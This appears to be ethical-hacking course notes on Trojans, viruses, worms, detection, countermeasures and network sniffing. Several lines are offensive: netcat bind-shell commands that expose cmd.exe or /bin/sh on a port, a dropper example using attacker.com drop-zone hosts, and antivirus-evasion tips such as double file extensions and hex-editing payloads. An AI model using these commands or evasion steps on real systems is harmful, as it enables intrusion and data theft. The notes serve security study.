- Indications of a Trojan attack include abnormal system and network activities such as disabling of antivirus, redirection to unknown pages, etc.
- Trojans create a covert communication channel between victim computer and attacker for transferring sensitive data.

Comparison between Overt Channel and Covert Channel

Overt Channel	Covert Channel
A legitimate communication path within a computer system, or network, for the transfer of data	A channel that transfers information within a computer system, or network, in a way that violates the security policy
An overt channel can be exploited to create a covert channel by using components of the overt channels that are idle	An example of covert channel is the communication between a Trojan and its command and control center

How Hackers Use Trojans

- Delete or replace the operating system's critical files.
- Generate fake traffic to create DOS attacks.
- Record screenshots, audio, and video of victim's PC.
- Use the victim's PC for spamming and blasting email messages.
- Download spyware, adware, and malicious files.
- Disable firewalls and antivirus.
- Create backdoors to gain remote access.
- Infect victim's PC as a proxy server for replaying attacks.
- Use the victim's PC as a botnet to perform DDoS attacks.
- Steal information such as passwords, security codes, credit card information using keyloggers.

How to Infect Systems Using a Trojan

1. Create a new Trojan packet using a Trojan Horse Construction Kit.
2. Create a dropper, which is a part in a trojanized packet that installs the malicious code on the target system.
    - **Example of a Dropper**:
        - Installation path: c:\windows\system32\svchosts.exe
        - Autostart: HKLM\Software\Mic...\run\Iexplorer.exe
    - **Malicious code**:
        - Client address: client.attacker.com
        - Dropzone: dropzone.attacker.com
    - **A genuine application**:
        - File name: chess.exe
        - Wrapper data: Executable file
3. Create a wrapper using wrapper tools to install Trojan on the victim's computer.
    - petite.exe, Graffiti.exe, EliteWrap
    - bind the Trojan executable to legitimate files
4. Propagate the Trojan.
   email
5. Execute the dropper.
    - disguise -> trusted file (executable file)
    - extracts the **malware components hidden** in it and executes them
    - serve as a decoy to **focus attention away** from **malicious activities**
6. Execute the damage routine.
   damage routine -> delivers payloads

Wrappers

- A wrapper binds a Trojan executable with an innocent looking .EXE application such as games or office applications.
  genuine-looking .EXE application
- The two programs are wrapped together into a single file.
- When the user runs the wrapped EXE, it first installs the Trojan in the background and then runs the wrapping application in the foreground.
- Attackers might send a birthday greeting that will install a Trojan as the user watches, for example, a birthday cake dancing across the screen.

Wrappers are a type of "**glueware**" used to bind other software components together.

Tool: Dark Horse Trojan Virus Maker

Trojan Horse Construction Kit

- **Construct Trojan**: Trojan Horse construction kits help attackers to construct Trojan horses of their choice.
- **Trojan Execution**: The tools in these kits can be dangerous and can backfire if not executed properly.
- **Trojan Horse Construction Kits**:
    - Trojan Horse Construction Kit
    - Progenic Mail Trojan Construction Kit - PMT
    - Pandora's Box

Crypters

- Crypter is a software which is used by hackers to hide viruses, keyloggers or tools in any kind of file so that they do not easily get detected by antiviruses.
    - AIO UFD Crypter
    - Hidden Sight Crypter
    - Galaxy Crypter
    - Cryogenic Crypter
    - Heaven Crypter
    - SwayzCryptor

How Attackers Deploy a Trojan

- Major Trojan Attack Paths:
    - User clicks on the malicious link
    - User opens malicious email attachments

Exploit Kit

- An exploit kit or crimeware toolkit is a platform to deliver exploits and payloads such as Trojans, spywares, backdoors, bots, buffer overflow scripts, etc. on the target system.

Exploit Kits

- Infinity
- Phoenix Exploit Kit
- Blackhole Exploit Kit
- Bleedinglife
- Crimepack

Evading Anti-Virus Techniques

- Break the Trojan file into multiple pieces and zip them as a single file.
- ALWAYS write your own Trojan, and embed it into an application.
- Change Trojan's syntax:
    - Convert an EXE to VB script
    - Change .EXE extension to .DOC.EXE, .PPT.EXE or .PDF.EXE (Windows hide "known extensions", by default, so it shows up only .DOC, .PPT and .PDF)
- Change the content of the Trojan using hex editor and also change the checksum and encrypt the file.
- Never use Trojans downloaded from the web (antivirus can detect these easily)

Types of Trojans

- VNC Trojan
- HTTP Trojan
- HTTPS Trojan
- ICMP Trojan
- FTP Trojan
- Data Hiding Trojan
- Destructive Trojan
- Botnet Trojan
- Proxy Server Trojan
- Remote Access Trojan
- Defacement Trojan
- E-banking Trojan
- Covert Channel Trojan
- Notification Trojan
- Mobicle Trojan

- Command Shell Trojan

Command Shell Trojans

- Command shell Trojan gives remote control of a command shell on a victim's machine.
- Trojan server is installed on the victim's machine, which opens a port for the attacker to connect. The client is installed on the attacker's machine, which is used to launch a command shell on the victim's machine.
- nc: Raw Socket Tool
- C:> nc <ip> <port>
- Bind Shell: (NAT)
    - C:> nc -L -p <port> -t -e cnd.exe
    - Windows: nc -dlp8008 -ecmd.exe
    - Linux: nc -dlp8008 -e/bin/sh
- Reverse Shell:
    - nc -nvlp8008

Defacement Trojans

- Resource editors allow users to view, edit, extract, and replace strings, bitmaps, logos and icons from any Windows program.
- It allows you to view and edit almost any aspect of a compiled Windows program, from the menus to the dialog boxes to the icons and beyond.
- They apply User-styled Custom Application (UCA) to deface Windows applications.
- Example of calc.exe Defaced is shown here.

Botnet Trojans

- Botnet Trojans infect a large number of computers across a large geographical area to create a network of bots that is controlled through a Command and Control (C&C) center.

- Botnet is used to launch various attacks on a victim including denial-of-service attacks, spamming, click fraud, and the theft of financial information.

Malware Domain List (MDL): https://www.malwaredomainlist.com/

Tor-based Botnet Trojans: ChewBacca

- ChewBacca Trojan has stolen data on 49,000 payment cards from 45 retailers in 11 countries over a two month span.

Botnet Trojans: Skynet and CyberGate

Proxy Server Trojans

- **Proxy Trojan**: Trojan Proxy is usually a standalone application that allows remote attackers to use the victim's computer as a proxy to connect to the Internet.
- **Hidden Server**: Proxy server Trojan, when infected, starts a hidden proxy server on the victim's computer.
- **Infection**: Thousands of machines on the Internet are infected with proxy servers using this technique.
- **Process**:

Proxy Server Trojan: W3bPrOxy Tr0j4nCr34t0r

- W3bPr0Xy Tr0j4n is a proxy server Trojan which supports multi-connection from many clients and reports IP and ports to mail of the Trojan owner.

FTP Trojans

- FTP Trojans install an FTP server on the victim's machine, which opens FTP ports.
- An attacker can then connect to the victim's machine using FTP port to download any files that exist on the victim's computer.

VNC Trojans

- VNC Trojans start a VNC Server daemon in the infected system (victim).
- Attacker connects to the victim using any VNC viewer.
- Since the VNC program is considered a utility, this Trojan will be difficult to detect using anti-viruses.

VNC Trojan: Hesperbot

- Hesperbot is a banking Trojan which features common functionalities, such as keystroke logging, creation of screenshots and video capture, and setting up a remote proxy.
- It creates a hidden VNC server to which the attacker can remotely connect.
- As VNC does not log the user off like RDP, the attacker can connect to the unsuspecting victim's computer while they are working.

HTTP/HTTPS Trojans

- **Bypass Firewall**: HTTP Trojans can bypass any firewall and work in the reverse way of a straight HTTP tunnel.
- **Spawn a Child Program**: They are executed on the internal host and spawn a child at a predetermined time.
- **Access the Internet**: The child program appears to be a user to the firewall so it is allowed to access the Internet.

HTTP Trojan: HTTP RAT

Shttpd Trojan - HTTPS (SSL)

- SHTTPD is a small HTTP Server that can be embedded inside any program.
- It can be wrapped with a genuine program (game chess.exe), when executed it will turn a computer into an invisible web server.

ICMP Tunneling

- Covert channels are methods in which an attacker can hide the data in a protocol that is undetectable.
- They rely on techniques called tunneling, which allow one protocol to be carried over another protocol.
- ICMP tunneling uses ICMP echo-request and reply to carry a payload and stealthily access or control the victim's machine.

ICMP Trojan name: icmpsend

Remote Access Trojans

- This Trojan works like a remote desktop access.
- Hacker gains complete GUI access to the remote system.
- Optix Pro, MoSucker, BlackHole RAT, SSH - R.A.T., njRAT, Xtreme RAT, SpyGate - RAT, Punisher RAT, DarkComet RAT, Pandora RAT, HellSpy RAT, ProRAT, Theef, Hell Raiser, Atelier Web Remote Commander

Covert Channel Trojan: CCTT

- Covert Channel Tunneling Tool (CCTT) Trojan presents various exploitation techniques, creating arbitrary data transfer channels in the data streams authorized by a network access control system.
- It enables attackers to get an external server shell from within the internal network and vice-versa.
- It sets a TCP/UDP/HTTP CONNECT|POST channel allows TCP data streams (SSH, SMTP, POP, etc...) between an external server and a box from within the internal network.

E-banking Trojans

- e-banking Trojans intercept a victim's account information before it is encrypted and sends it to the attacker's Trojan command and control center.

- It steals victim's data such as credit card related card no., CVV2, billing details, etc. and transmits it to remote hackers using email, FTP, IRC, or other methods.

Working of E-banking Trojans

- **TAN Grabber**:
  - Trojan intercepts valid Transaction Authentication Number (TAN) entered by a user.
  - It replaces the TAN with a random number that will be rejected by the bank.
  - Attackers can misuse the intercepted TAN with the user's login details.
- **HTML Injection**:
  - Trojan creates fake form fields on e-banking pages.
  - Additional fields elicit extra information such as card number and date of birth.
  - Attackers can use this information to impersonate and compromise victim's accounts.
- **Form Grabber**:
  - Trojan analyses POST requests and responses to the victim's browser.
  - It compromises the scramble pad authentication.
  - Trojan intercepts scramble pad input as user enters Customer Number and Personal Access Code.

E-banking Trojan: ZeuS, SpyEye, Citadel Builder and Ice IX

- The main objective of ZeuS and SpyEye Trojans is to steal bank and credit card account information, ftp data, and other sensitive information from infected computers via web browsers and protected storage.
- SpyEye can automatically and quickly initiate an online transaction.

Destructive Trojans: M4sT3r Trojan

- This Trojan formats all local and network drives.
- M4sT3r is a dangerous and destructive type of Trojan.
- The user will not be able to boot the Operating System.
- When executed, this Trojan destroys the operating system.

Notification Trojans

- Notification Trojan sends the location of the victim's IP address to the attacker.
- Whenever the victim's computer connects to the Internet, the attacker receives the notification.

Data Hiding Trojans (Encrypted Trojans)

- Encryption Trojan encrypts data files in the victim's system and renders information unusable.
- Attackers demand a ransom or force victims to make purchases from their online drug stores in return for the password to unlock files.

Introduction to Viruses

- A virus is a self-replicating program that produces its own copy by attaching itself to another program, computer boot sector or document.
- Viruses are generally transmitted through file downloads, infected disk/flash drives and as email attachments.
- **Virus Characteristics**:
    - Infects other program
    - Transforms itself
    - Encrypts itself
    - Alters data
    - Corrupts files and programs
    - Self-replication

Stages of Virus Life

1. **Design**: Developing virus code using programming languages or construction kits.

2. **Replication**: Virus replicates for a period of time within the target system and then spreads itself.
3. **Launch**: It gets activated with the user performing certain actions such as running an infected program.
4. **Detection**: A virus is identified as a threat infecting target systems.
5. **Incorporation**: Antivirus software developers assimilate defenses against the virus.
6. **Elimination**: Users install antivirus updates and eliminate the virus threats.

Working of Viruses: Infection Phase and Attack Phase

- **Infection Phase**:
    - In the infection phase, the virus replicates itself and attaches to an .exe file in the system.
- **Attack Phase**:
    - Viruses are programmed with trigger events to activate and corrupt systems.
    - Some viruses infect each time they are run and others infect only when a certain predefined condition is met such as a user's specific task, a day, time, or a particular event.

Why Do People Create Computer Viruses

- Inflict damage to competitors
- Financial benefits
- Research projects
- Play prank
- Vandalism
- Cyber terrorism
- Distribute political messages

Indications of Virus Attack

- **Abnormal Activities**: If the system acts in an unprecedented manner, you can suspect a virus attack.
    - Processes take more resources and time
    - Computer beeps with no display

    - Drive label changes
    - Unable to load Operating system
    - Anti-virus alerts
    - Browser window "freezes"
    - Hard drive is accessed often
    - Files and folders are missing
    - Computer freezes frequently or encounters error
    - Computer slows down when programs start
- **False Positives**: However, not all glitches can be attributed to virus attacks.

How does a Computer Get Infected by Viruses

- When a user accepts files and downloads without checking properly for the source.
- Opening infected e-mail attachments.
- Installing pirated software.
- Not updating and not installing new versions of plug-ins.
- Not running the latest anti-virus application.

Virus Hoaxes and Fake Antiviruses

- Hoaxes are false alarms claiming reports about a non-existing virus which may contain virus attachments.
- Warning messages propagating that a certain email message should not be viewed and doing so will damage one's system.
- Attackers disguise malwares as an antivirus and trick users to install them in their systems.
- Once installed these fake antiviruses can damage target systems similar to other malwares.

These are often called scareware.

Ransomware

- Ransomware is a type of malware which restricts access to the computer system's files and folders and demands an online ransom payment to the malware creator(s) in order to remove the restrictions.
- **Ransomware Family**:
    - Cryptorbit Ransomware
    - CryptoLocker Ransomware
    - CryptoDefense Ransomware
    - CryptoWall Ransomware
    - Police-themed Ransomware

Types of Viruses

- System or Boot Sector Viruses
- File and Multipartite Viruses
- Macro Viruses
- Cluster Viruses
- Stealth/Tunneling Viruses
- Encryption Viruses
- Metamorphic Viruses
- File Overwriting or Cavity Viruses
- Sparse Infector Viruses
- Companion/Camouflage Viruses
- Shell Viruses
- File Extension Viruses
- Add-on and Intrusive Viruses
- Transient and Terminate and Stay Resident Viruses

System or Boot Sector Viruses

- Boot sector virus moves MBR to another location on the hard disk and copies itself to the original location of MBR.
- When the system boots, virus code is executed first and then control is passed to the original MBR.
-

File and Multipartite Viruses

- **File Viruses**:
    - File viruses infect files which are executed or interpreted in the system such as COM, EXE, SYS, OVL, OBJ, PRG, MNU and BAT files.
    - File viruses can be either direct-action (non-resident) or memory-resident.
- **Multipartite Virus**:
    - Multipartite viruses infect the system boot sector and the executable files at the same time.

Macro Viruses

- Macro viruses infect files created by Microsoft Word or Excel.
- Most macro viruses are written using macro language Visual Basic for Applications (VBA).
- Macro viruses infect templates or convert infected documents into template files, while maintaining their appearance of ordinary document files.

Cluster Viruses

- Cluster viruses modify directory table entries so that it points users or system processes to the virus code instead of the actual program.
- There is only one copy of the virus on the disk infecting all the programs in the computer system.
- It will launch itself first when any program on the computer system is started and then the control is passed to the actual program.

Stealth/Tunneling Viruses

- These viruses evade the anti-virus software by intercepting its requests to the operating system.
- A virus can hide itself by intercepting the anti-virus software's request to read the file and passing the request to the virus, instead of the OS.
- The virus can then return an uninfected version of the file to the anti-virus software, so that it appears as if the file is "clean".

Encryption Viruses

- This type of virus uses simple encryption to encipher the code.
- The virus is encrypted with a different key for each infected file.
- AV scanner cannot directly detect these types of viruses using signature detection methods.

Polymorphic Code

- Polymorphic code is a code that mutates while keeping the original algorithm intact.
- To enable polymorphic code, the virus has to have a polymorphic engine (also called mutating engine or mutation engine).
- A well-written polymorphic virus therefore has no parts that stay the same on each infection.

Metamorphic Viruses

- **Metamorphic Viruses**: Metamorphic viruses rewrite themselves completely each time they are to infect new executable.
- **Metamorphic Code**: Metamorphic code can reprogram itself by translating its own code into a temporary representation and then back to the normal code again.
- **Example**: For example, E32/Simile consisted of over 14000 lines of assembly code, 90% of it is part of the metamorphic engine.
- polymorphic
- ex: simile, zmist
- Mistfall is the first virus to use the technique called "code integration."

File Overwriting or Cavity Viruses

- Cavity Virus overwrites a part of the host file that is with a constant (usually nulls), without increasing the length or the file and preserving its functionality.
- CIH(Chernobyl or Spacefiller)

Sparse Infector Viruses

- **Sparse Infector Virus**: Sparse infector virus infects only occasionally (e.g. every tenth program executed), or only files whose lengths fall within a narrow range.
- **Difficult to Detect**: By infecting less often, such viruses try to minimize the probability of being discovered.
- **Infection Process**: For example, wake up on 15th of every month and execute code.

Companion/Camouflage Viruses

- A Companion virus creates a companion file for each executable file the virus infects.
- Therefore, a companion virus may save itself as notepad.com and every time a user executes notepad.exe (good program), the computer will load notepad.com (virus) and infect the system.

Shell Viruses

- Virus code forms a shell around the target host program's code, making itself the original program and host code as its sub-routine.
- Almost all boot program viruses are shell viruses.

File Extension Viruses

- File extension viruses change the extensions of files.
- .TXT is safe as it indicates a pure text file.
- With extensions turned off, if someone sends you a file named BAD.TXT.VBS, you will only see BAD.TXT.
- If you have forgotten that extensions are turned off, you might think this is a text file and open it.
- This is an executable Visual Basic Script virus file and could do serious damage.
- Countermeasure is to turn off "Hide file extensions" in Windows.

Add-on and Intrusive Viruses

- **Add-on Viruses**: Add-on viruses append their code to the host code without making any changes to the latter or relocate the host code to insert their own code at the beginning.
- **Intrusive Viruses**: Intrusive viruses overwrite the host code partly or completely with the viral code.

Transient and Terminate and Stay Resident Viruses

Basic Infection Techniques:

- **Direct Action or Transient Virus**:
    - Transfers all the controls of the host code to where it resides in the memory.
    - The virus runs when the host code is run and terminates itself or exits memory as soon as the host code execution ends.
- **Terminate and Stay Resident Virus (TSR)**:
    - Remains permanently in the memory during the entire work session even after the target host's program is executed and terminated; can be removed only by rebooting the system.

Use these tools to write a Simple Virus Program

- Sam's Virus Generator and JPS Virus Maker
- Andreinick05's Batch Virus Maker and DeadLine's Virus Maker
- Sonic Bat - Batch FIle Virus Creator and Poison Virus Maker

Computer Worms

- Computer worms are malicious programs that replicate, execute, and spread across the network connections independently without human interaction.
- Most of the worms are created only to replicate and spread across a network, consuming available computing resources; however, some worms carry a payload to damage the host system.
- Attackers use worm payload to install backdoors in infected computers, which turns them into zombies and creates botnets; these botnets can be used to carry out further cyber attacks.

How is a Worm Different from a Virus?

- **Replicates on its own**: A worm is a special type of malware that can replicate itself and use memory, but cannot attach itself to other programs.
- **Spreads through the Infected Network**: A worm takes advantage of file or information transport features on computer systems and spreads through the infected network automatically but a virus does not.

Virus	Worm
Virus infects a system by inserting itself into a file or executable program	Worm infects a system by exploiting a vulnerability in an OS or application by replicating itself
It might delete or alter content in files, or change the location of files in the system	Typically, a worm does not modify any stored programs. It only exploits the CPU and memory
It alters the way a computer system operates, without the knowledge or consent of a user	It consumes network bandwidth, system memory, etc., excessively overloading servers and computer systems
A virus cannot be spread to other computers unless an infected file is replicated and actually sent to the other computer	A worm, after being installed in a system, can replicate itself and spread by using IRC, Outlook, or other applicable mailing programs
A virus is spread at a uniform speed, as programmed	A worm spreads more rapidly than a virus
Viruses are hard to remove from infected machines	As compared with a virus, a worm can be easily removed from a system

Computer Worms: Ghost Eye Worm

- Ghost Eye worm is a hacking program that spreads random messages on Facebook or steam or chat websites to get the password.

Malware Detection

How to Detect Trojans

- Scan for suspicious OPEN PORTS.
- Scan for suspicious RUNNING PROCESSES.
- Scan for suspicious REGISTRY ENTRIES.
- Scan for suspicious DEVICE DRIVERS installed on the computer.
- Scan for suspicious WINDOWS SERVICES.
- Scan for suspicious STARTUP PROGRAMS.
- Scan for suspicious FILES and FOLDERS.
- Scan for suspicious NETWORK ACTIVITIES.
- Scan for suspicious modification to OPERATING SYSTEM FILES.
- Run Trojan SCANNER to detect Trojans.

Scanning for Suspicious Ports

- Trojans open unused ports in the victim machine to connect back to Trojan handlers.
- Look for the connection established to unknown or suspicious IP addresses.
- Type `netstat -an` in command prompt.
- TCPView, CurrPorts
- Service short name: `tasklist -svc`

Port Monitoring Tools: TCPView and CurrPorts

- **TCPView**: TCPView shows detailed listings of all TCP and UDP endpoints on your system, including the local and remote addresses and state of TCP connections.
- **CurrPorts**: CurrPorts is network monitoring software that displays the list of all currently opened TCP/IP and UDP ports on your local computer.

Scanning for Suspicious Processes

- Trojans camouflage themselves as genuine Windows services or hide their processes to avoid detection.
- Some Trojans use PEs (Portable Executable) to inject into various processes (such as explorer.exe or web browsers).
- Processes are visible but look like legitimate processes and also help bypass desktop firewalls.
- Trojans can also use rootkit methods to hide their processes.
- Use process monitoring tools to detect hidden Trojans and backdoors.
- **Process Monitor**: Process Monitor is a monitoring tool for Windows that shows file system, registry, and process/thread activity.

Process Monitoring Tool: What's Running

- What's Running gives an inside look into your Windows operating systems.

Process Monitoring Tools

- Process Explorer

Scanning for Suspicious Registry Entries

- Windows automatically executes instructions in:
  - Run
  - RunServices
  - RunOnce
  - RunServicesOnce
  - HKEY_CLASSES_ROOT\exefile\shell\open\command "%1" %*.
- Scanning registry values for suspicious entries may indicate the Trojan infection.
- Trojans insert instructions at these sections of registry to perform malicious activities.

Registry Entry Monitoring Tool: RegScanner

- RegScanner allows you to scan the Registry, find the desired Registry values that match the specified search criteria, and display them in one list.

Scanning for Suspicious Device Drivers

- Trojans are installed along with device drivers downloaded from untrusted sources and use these drivers as a shield to avoid detection.
- Scan for suspicious device drivers and verify if they are genuine and downloaded from the publisher's original site.
- Go to Run -> Type msinfo32 -> Software Environment -> System Drivers
- $ sc query type= driver
- Process Explorer DLLs:
    - View -> Lower Pane View -> DLLs

Device Drivers Monitoring Tool: DriverView

- DriverView utility displays the list of all device drivers currently loaded on the system. For each driver in the list, additional information is displayed such as the load address of the driver, description, version, product name, company that created the driver, etc.

Scanning for Suspicious Windows Services

- Trojans spawn Windows services allow attackers remote control to the victim machine and pass malicious instructions.
- Trojans rename their processes to look like a genuine Windows service in order to avoid detection.

- Trojans employ rootkit techniques to manipulate **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Service** registry keys to hide its processes.

Windows Services Monitoring Tool: Windows Service Manager (SrvMan)

- Windows Service Manager simplifies all common tasks related to Windows services. It can create services (both Win32 and Legacy Driver) without restarting Windows, delete existing services, and change service configuration.

Scanning for Suspicious Startup Programs

- **Check startup program entries in the registry**
- **Check device drivers automatically loaded**: C:\Windows\System32\drivers
- **Check boot.ini**: Check boot.ini or bcd (bootmgr) entries.
- **Check Windows services automatic started**: Go to Run -> Type services.msc -> Sort by Startup Type.
- **Check startup folder**:
    - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
    - C:\Users(User-Name)\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

BCD: `$ bcdedit`

Windows 8 Startup Registry Entries

Startup Programs Monitoring Tool: Security AutoRun

- Security AutoRun displays the list of all applications that are loaded automatically when Windows starts up.

Startup Programs Monitoring Tools

Scanning for Suspicious Files and Folders

- Trojans normally modify the system's files and folders. Use these tools to detect system changes.
- **SIGVERIF**:
    - It checks integrity of critical files that have been digitally signed by Microsoft.
    - To launch SIGVERIF, to to Start -> Run, type sigverif and press Enter.
- Windows
- **FCIV (File Checksum Integrity Verifier)**:
    - It is a command line utility that computes MD5 or SHA1 cryptographic hashes for files.
    - You can download FCIV at http://download.microsoft.com
- **TRIPWIRE**:
    - It is an enterprise class system integrity verifier that scans and reports critical system files for changes.

Files and Folder Integrity Checker: FastSum and WinMD5

- **FastSum**:
    - FastSum is used for checking the integrity of the files.
    - It computes checksums according to the MD5 checksum algorithm.
- **WinMD5**:
    - WinMD5 is a Windows utility for computing the MD5 hashes ("fingerprints") of files.
    - These fingerprints can be used to ensure that the file is uncorrupted.

Scanning for Suspicious Network Activities

- Trojans connect back to handlers and send confidential information to attackers.
- Use network scanners and packet sniffers to monitor network traffic going to malicious remote addresses.
- Run tools such as Capsa to monitor network traffic and look for suspicious activities sent over the web.

Detecting Trojans and Worms with Capsa Network Analyzer

- Capsa is an intuitive network analyzer, which provides detailed information to help check if there are any Trojan activities on a network.

Virus Detection Methods

- **Scanning**:
  - Once a virus has been detected, it is possible to write scanning programs that look for signature string characteristics of the virus.
- **Integrity Checking**:
  - Integrity checking products work by reading the entire disk and recording integrity data that acts as a signature for the files and system sectors.
- **Interception**:
  - The interceptor monitors the operating system requests that are written to the disk.
- **Code Emulation**:
  - In code emulation techniques, the anti-virus executes the malicious code inside a virtual machine to simulate CPU and memory activities.
  - This technique is considered very effective in dealing with encrypted and polymorphic viruses if the virtual machine mimics the real machine.
- **Heuristic Analysis**:
  - Heuristic analysis can be static or dynamic.
  - In static analysis the anti-virus analyses the file format and code structure to determine if the code is viral.
  - In dynamic analysis the anti-virus performs a code emulation of the suspicious code to determine if the code is viral.

Trojan Countermeasures

- Avoid opening email attachments received from unknown senders.
- Block all unnecessary ports at the hosts and firewall.
- Avoid accepting the programs transferred by instant messaging.

- Harden weak, default configuration settings and disable unused functionality including protocols and services.
- Monitor the internal network traffic for odd ports or encrypted traffic.
- Avoid downloading and executing applications from untrusted sources.
- Install patches and security updates for the operating systems and applications.
- Scan CDs and DVDs with antivirus software before using.
- Restrict permissions within the desktop environment to prevent malicious applications installation.
- Avoid typing the commands blindly and implementing pre-fabricated programs or scripts.
- Manage local workstation file integrity through checksums, auditing, and port scanning.
- Run host-based antivirus, firewall, and intrusion detection software.

Backdoor Countermeasures

- Most commercial anti-virus products can automatically scan and detect backdoor programs before they can cause damage.
- Educate users not to install applications downloaded from untrusted Internet sites and email attachments.
- Use anti-virus tools such as McAfee, Norton, etc. to detect and eliminate backdoors.

Virus and Worms Countermeasures

- Install anti-virus software that detects and removes infections as they appear.
- Generate an anti-virus policy for safe computing and distribute it to the staff.
- Pay attention to the instructions while downloading files or any programs from the Internet.
- Update the anti-virus software regularly.
- Avoid opening the attachments received from an unknown sender as viruses spread via e-mail attachments.
- Possibility of virus infection may corrupt data, thus regularly maintain data back up.
- Schedule regular scans for all drives after the installation of antivirus software.
- Do not accept disks or programs without checking them first using a current version of an antivirus program.
- Ensure the executable code sent to the organization is approved.
- Do not boot the machine with an infected bootable system disk.
- Know about the latest virus threats.
- Check the DVDs and CDs for virus infection.
- Ensure the pop-up blocker is turned on and use an Internet firewall.

- Run disk cleanup, registry scanner and defragmentation once a week.
- Turn on the firewall if the OS used is Windows XP.
- Run anti-spyware or adware once in a week.
- Do not open the files with more than one file type extension.
- Be cautious with the files being sent through the instant messenger.

Introduction to Sniffing

Network Sniffing and Threats

- Sniffing is a process of monitoring and capturing all data packets passing through a given network using sniffing tools.
- It is a form of wiretap applied to computer networks.
- Many enterprises' switch ports are open.
- Anyone in the same physical location can plug into the network using an Ethernet cable.

How a Sniffer Works

- **Promiscuous Mode**: Sniffer turns the NIC of a system to the promiscuous mode so that it listens to all the data transmitted on its segment.
- **Decode Information**: A sniffer can constantly monitor all the network traffic to a computer through the NIC by decoding the information encapsulated in the data packet.

Types of Sniffing: Passive Sniffing

- Passive sniffing means sniffing through a hub, on a hub the traffic is sent to all ports.
- It involves only monitoring of the packets sent by others without sending any additional data packets in the network traffic.

- In a network that uses hubs to connect systems, all hosts on the network can see all traffic therefore attackers can easily capture traffic going through the hub.
- Hub usage is out-dated today. Most modern networks use switches.

Types of Sniffing: Active Sniffing

- Active sniffing is used to sniff a switch-based network.
- Active sniffing involves injecting address resolution packets (ARP) into the network to flood the switch's Content Addressable Memory (CAM) table, CAM keeps track of which host is connected to which port.
- **Active Sniffing Techniques**:
    - MAC Flooding
    - DNS Poisoning
    - ARP Poisoning
    - DHCP Attacks
    - Switch Port Stealing
    - Spoofing Attack

How an Attacker Hacks the Network Using Sniffers

1. An attacker connects his laptop to a switch port.
2. Runs discovery tools to learn about network topology.
3. Identifies the victim's machine to target his attacks.
4. Poisons the victim machine by using ARP spoofing techniques.
5. The traffic destined for the victim machine is redirected to the attacker.
6. The hacker extracts passwords and sensitive data from the redirected traffic.

Protocols Vulnerable to Sniffing

- **HTTP**: Data sent in clear text
- **Telnet and Rlogin**: Keystrokes including usernames and passwords
- **POP**: Passwords and data sent in clear text
- **IMAP**: Passwords and data sent in clear text
- **SMTP and NNTP**: Passwords and data sent in clear text
- **FTP**: Passwords and data sent in clear text

Sniffing in the Data Link Layer of the OSI Model

- Sniffers operate at the Data Link layer of the OSI model.
- Networking layers in the OSI model are designed to work independently of each other; if a sniffer sniffs data in the Data Link layer, the upper OSI layer will not be aware of the sniffing.

Hardware Protocol Analyzer

- A hardware protocol analyzer is a piece of equipment that captures signals without altering the traffic in a cable segment.
- It can be used to monitor network usage and identify malicious network traffic generated by hacking software installed in the network.
- It captures a data packet, decodes it, and analyzes its content according to certain predetermined rules.
- It allows the attacker to see individual data bytes of each packet passing through the cable.

SPAN Port (Port Mirror)

- SPAN port is a port which is configured to receive a copy of every packet that passes through a switch.

Wiretapping

- Wiretapping is the process of monitoring telephone and Internet conversations by a third party.
- Attackers connect a listening device (hardware, software, or a combination of both) to the circuit carrying information between two phones or hosts on the Internet.
- It allows an attacker to monitor, intercept, access, and record information contained in a data flow in a communication system.
- **Types of Wiretapping**:
    - **Active Wiretapping**: It monitors, records, alters and also injects something into the communication or traffic.

    - **Passive Wiretapping**: It only monitors and records the traffic and gains knowledge of the data it contains.

Lawful Interception

- Lawful interception refers to legally intercepting data communication between two end points for surveillance on the traditional telecommunications, VoIP, data, and multiservice networks.

Wiretapping Case Study: PRISM

- PRISM stands for "Planning Tool for Resource Integration, Synchronization, and Management," and is a "data tool" designed to collect and process "foreign intelligence" that passes through American servers.
- NSA wiretaps a huge amount of foreign internet traffic that is routed through or saved on U.S. servers.

MAC Attack

MAC Address/CAM Table

- Each switch has a fixed size dynamic Content Addressable Memory (CAM) table.
- The CAM table stores information such as MAC addresses available on physical ports with their associated VLAN parameters.

What Happens When CAM Table Is Full?

- Once the CAM table on the switch is full, additional ARP request traffic will flood every port on the switch.

- This will change the behavior of the switch to reset to it's learning mode, broadcasting on every port similar to a hub.
- This attack will also fill the CAM tables of adjacent switches.

MAC Flooding

- MAC flooding involves flooding of CAM tables with fake MAC addresses and IP pairs until it is full.
- Switch then acts as a hub by broadcasting packets to all machines on the network and attackers can sniff the traffic easily.

Fail Open mode: the switch starts behaving as a hub and broadcasts the incoming traffic through all the ports in the network.

Mac Flooding Switches with macof

- macof is a Unix/Linux tool that is a part of dsniff collection.
- Macof sends random source MAC and IP addresses.
- This tool floods the switch's CAM tables (131,000 per min) by sending bogus MAC entries.

Switch Port Stealing

- Switch Port Stealing sniffing technique uses MAC flooding to sniff the packets.
- Attacker floods the switch with forged gratuitous ARP packets with target MAC address as source and his own MAC address as destination.
- A race condition of the attacker's flooded packets and target host packets will occur and thus the switch has to change his MAC address binding constantly between two different ports.
- In such a case if the attacker is fast enough, they will be able to direct the packets intended for the target host toward his switch port.
- Attacker now manages to steal the target host switch port and sends an ARP request to the stolen switch port to discover the target hosts' IP address.
- When an attacker gets an ARP reply, this indicates that the target host's switch port binding has been restored and the attacker is now able to sniff the packets sent toward the targeted host.

How to Defend against MAC Attacks

- Configuring Port Security on Cisco switch.
- Port security can be used to restrict inbound traffic from only a selected set of MAC addresses and limit MAC flooding attack.

DHCP Attacks

How DHCP Works

- DHCP servers maintain TCP/IP configuration information in a database such as valid TCP/IP configuration parameters, valid IP addresses, and duration of the lease offered by the server.
- It provides address configurations to DHCP-enabled clients in the form of a lease offer.

1. Client broadcasts DHCPDISCOVER/SOLICIT request asking for DHCP Configuration Information.
2. DHCP-relay agent captures the client request and unicasts it to the DHCP servers available in the network.
3. DHCP server unicasts DHCPOFFER/ADVERTISE, which contains client and server's MAC address.
4. Relay agent broadcasts DHCPOFFER/ADVERTISE in the client's subnet.
5. Client broadcasts DHCPREQUEST/REQUEST asking DHCP server to provide the DHCP configuration information.
6. DHCP server sends unicast DHCPACK/REPLY messages to the client with the IP config and information.

DHCP Request/Reply Messages

DHCPv4 Message	DHCPv6 Message	Description
DHCPDiscover	Solicit	Client broadcast to locate available DHCP servers

DHCPOffer	Advertise	Server to client in response to DHCPDISCOVER with offer of configuration parameters
